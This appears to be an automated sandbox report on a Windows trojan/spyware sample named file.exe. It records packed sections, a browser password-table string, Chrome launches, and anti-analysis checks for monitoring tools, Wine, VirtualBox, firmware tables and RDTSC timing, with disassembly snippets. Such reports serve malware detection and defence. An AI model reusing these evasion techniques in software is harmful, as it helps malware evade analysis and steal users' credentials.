Source: file.exe, 00000000.00000003.2388408522.0000000005CE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2420998422.00000000056CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390065054.0000000005D0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386619940.0000000005A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395603801.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390809781.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395044760.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394081441.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397212042.0000000005E89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389972558.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397682970.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388043899.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392617656.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9975602833044983
Source: file.exe	Static PE information: Section: cmvasnvo ZLIB complexity 0.9946845925870348

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/61@9/5

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2183808216.00000000056A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208634972.00000000056CB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1912,i,17050092175459860122,8061209407353569252,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1968,i,12435437372849550956,943092038503640388,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1912,i,17050092175459860122,8061209407353569252,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1968,i,12435437372849550956,943092038503640388,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1869824 > 1048576

Source: file.exe

Static PE information: Raw size of cmvasnvo is bigger than: 0x100000 < 0x1a0800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.390000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cmvasnvo:EW;luzbxkhq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cmvasnvo:EW;luzbxkhq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d762a should be: 0x1cf980

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cmvasnvo
Source: file.exe	Static PE information: section name: luzbxkhq
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D0BA2 push 63CA3742h; mov dword ptr [esp], ecx	0_2_061D0BC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D0608 push ebx; mov dword ptr [esp], eax	0_2_061D1213
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D2E51 push 188B6DB2h; mov dword ptr [esp], eax	0_2_061D2E58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D2641 push edi; mov dword ptr [esp], eax	0_2_061D3735
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CE641 push 406A1B3Ch; mov dword ptr [esp], ebp	0_2_061CEA8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D1677 push edi; mov dword ptr [esp], edx	0_2_061D2790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CD66A push 0A7C5F7Fh; mov dword ptr [esp], ecx	0_2_061CD670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CE698 push edx; mov dword ptr [esp], 3B332C7Ah	0_2_061CF1F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CE698 push edx; mov dword ptr [esp], 5FFF6D90h	0_2_061CF4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push ecx; mov dword ptr [esp], ebp	0_2_06216BF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push 3D2AD1BCh; mov dword ptr [esp], esi	0_2_06216C0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push ecx; mov dword ptr [esp], esi	0_2_06216C4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push esi; mov dword ptr [esp], edx	0_2_06216C9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push 32B72FE3h; mov dword ptr [esp], esi	0_2_06216D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push edx; mov dword ptr [esp], ebx	0_2_06216D4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push 21860DACh; mov dword ptr [esp], eax	0_2_06216DB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push ebx; mov dword ptr [esp], esi	0_2_06216E17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push esi; mov dword ptr [esp], ecx	0_2_06216E1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062166A4 push eax; mov dword ptr [esp], edx	0_2_06216E92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D16BB push ebx; mov dword ptr [esp], ebp	0_2_061D3EAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CE6D8 push edi; mov dword ptr [esp], esi	0_2_061CE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D0ED8 push 23244FF9h; mov dword ptr [esp], ebp	0_2_061D5098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D06D4 push 7AEFCAC6h; mov dword ptr [esp], ebp	0_2_061D1258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CE6ED push esi; mov dword ptr [esp], edx	0_2_061CEB11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D471A push 646927EFh; mov dword ptr [esp], eax	0_2_061D4724
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CD70D push 4425D8DCh; mov dword ptr [esp], esi	0_2_061CD71B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DBF0B push 5E28274Ch; mov dword ptr [esp], ebx	0_2_061DC322
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DBF0B push edx; mov dword ptr [esp], 3B1AB9A4h	0_2_061DC355
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DBF0B push 7BC00784h; mov dword ptr [esp], eax	0_2_061DC3B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DBF0B push edx; mov dword ptr [esp], 691AC06Dh	0_2_061DC44B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DBF0B push ecx; mov dword ptr [esp], ebp	0_2_061DC4B5

Source: file.exe	Static PE information: section name: entropy: 7.978785008100601
Source: file.exe	Static PE information: section name: cmvasnvo entropy: 7.953840114711922

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565C6C second address: 565C8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jo 00007F6E04531006h 0x00000013 jnp 00007F6E04531006h 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565C8A second address: 565C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565C8E second address: 565C94 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565C94 second address: 565CAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04C712D5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565CAF second address: 565CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565DEE second address: 565DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565DF2 second address: 565E02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F6E04531006h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5660C7 second address: 5660CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566223 second address: 566247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04531018h 0x00000009 jng 00007F6E04531012h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5663D1 second address: 5663D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5663D7 second address: 5663DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568A74 second address: 568AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F6E04C712D4h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F6E04C712C8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 jc 00007F6E04C712CEh 0x0000002f push edx 0x00000030 add edx, 6428A57Bh 0x00000036 pop esi 0x00000037 push 502C1D41h 0x0000003c push ecx 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568AC9 second address: 568B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 502C1DC1h 0x0000000d add edi, 3BC34349h 0x00000013 push 00000003h 0x00000015 je 00007F6E04531020h 0x0000001b call 00007F6E04531013h 0x00000020 jng 00007F6E04531006h 0x00000026 pop esi 0x00000027 push 00000000h 0x00000029 mov dx, DD50h 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F6E04531008h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 jmp 00007F6E04531015h 0x0000004e mov dword ptr [ebp+122D29CCh], edi 0x00000054 call 00007F6E04531009h 0x00000059 pushad 0x0000005a jmp 00007F6E04531018h 0x0000005f jmp 00007F6E04531019h 0x00000064 popad 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568B80 second address: 568B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712D9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568B9E second address: 568BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E0453100Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568BB7 second address: 568BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712D0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568BCC second address: 568BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F6E04531006h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 jbe 00007F6E04531018h 0x00000016 jmp 00007F6E04531012h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
